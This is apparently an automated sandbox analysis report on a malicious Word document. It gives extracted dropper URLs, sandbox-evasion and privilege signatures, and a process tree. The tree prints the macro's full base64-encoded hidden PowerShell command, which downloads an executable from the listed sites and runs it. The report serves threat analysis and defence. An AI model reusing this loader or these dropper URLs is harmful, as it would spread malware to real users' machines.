Analysis
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max time kernel
30s -
resource
win10v191014 -
submitted
27-01-2020 21:03
Task
task1
Sample
e51ac8f71a71830a6de10d80472127cac7285dc7210b5da7b8b830047491b1a1.doc
Resource
win10v191014
0 signatures
General
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Target
e51ac8f71a71830a6de10d80472127cac7285dc7210b5da7b8b830047491b1a1.doc
-
Sample
200127-wvqbsgeh1s
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SHA256
e51ac8f71a71830a6de10d80472127cac7285dc7210b5da7b8b830047491b1a1
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
https://delhisexclinic.com/zds/jUzItNFoNN/
exe.dropper
https://lelangg.online/uydlcvg/xoZAiAes/
exe.dropper
https://usispf.org/wp-admin/vjWaya/
exe.dropper
https://www.sexylady.space/wp-admin/JM/
exe.dropper
https://www.metropolnet.gr/cgi-bin/eP1hbutDbo/
Signatures
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Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4964 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
WINWORD.EXEpid process 4964 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4524 5060 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4524 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 4524 Powershell.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e51ac8f71a71830a6de10d80472127cac7285dc7210b5da7b8b830047491b1a1.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
PID:4964
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABBAGYAeQBvAGwAYgBtAG8AcgBsAGoAPQAnAEQAcAB6AGcAbABzAHMAbwBtAGsAaAB2AGgAJwA7ACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAIAA9ACAAJwA3ADkANwAnADsAJABYAG0AdwBuAGsAawB2AGQAZwBwAHYAPQAnAEsAegB2AGMAYgBsAHUAawB2AGQAbQBpACcAOwAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAKwAnAC4AZQB4AGUAJwA7ACQAVQByAHMAZABnAGYAeAB0AHkAbgB5AD0AJwBVAHYAegB2AHcAbwB1AGIAbABtAHMAZwAnADsAJABJAHYAeAByAHcAcABxAHcAZABhAGwAZAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAEwAaQBFAG4AVAA7ACQATABsAG8AYQBsAHoAcwBsAGQAcABxAG0AbAA9ACcAaAB0AHQAcABzADoALwAvAGQAZQBsAGgAaQBzAGUAeABjAGwAaQBuAGkAYwAuAGMAbwBtAC8AegBkAHMALwBqAFUAegBJAHQATgBGAG8ATgBOAC8AKgBoAHQAdABwAHMAOgAvAC8AbABlAGwAYQBuAGcAZwAuAG8AbgBsAGkAbgBlAC8AdQB5AGQAbABjAHYAZwAvAHgAbwBaAEEAaQBBAGUAcwAvACoAaAB0AHQAcABzADoALwAvAHUAcwBpAHMAcABmAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwB2AGoAVwBhAHkAYQAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBlAHgAeQBsAGEAZAB5AC4AcwBwAGEAYwBlAC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBNAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGUAdAByAG8AcABvAGwAbgBlAHQALgBnAHIALwBjAGcAaQAtAGIAaQBuAC8AZQBQADEAaABiAHUAdABEAGIAbwAvACcALgAiAHMAYABwAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBjAGkAagBmAGoAdwBhAG0AbwBsAD0AJwBWAHIAYQBoAGUAbwB0AHoAcAB2AGgAcAB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACAAaQBuACAAJABMAGwAbwBhAGwAegBzAGwAZABwAHEAbQBsACkAewB0AHIAeQB7ACQASQB2AHgAcgB3AHAAcQB3AGQAYQBsAGQALgAiAGQATwB3AGAATgBsAE8AQQBEAEYAYABJAEwARQAiACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACwAIAAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQApADsAJABKAGUAegB4AHkAcwByAHEAcABkAD0AJwBXAHUAaQBsAGsAaABwAHkAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQAuACIAbABgAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIANwA4ADYANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYQBgAFIAdAAiACgAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQA7ACQATwBzAHAAbgByAGcAYgB0AGsAPQAnAFEAaQBvAG8AcQBnAGUAYQBrAGUAJwA7AGIAcgBlAGEAawA7ACQAWABlAGcAawB4AGgAZQBoAGMAeQA9ACcARgBpAGUAegBqAG8AawBpAHoAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHcAcQBpAHUAagBhAGEAPQAnAFMAaQBrAHcAZQBsAGYAdgBoACcA1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4524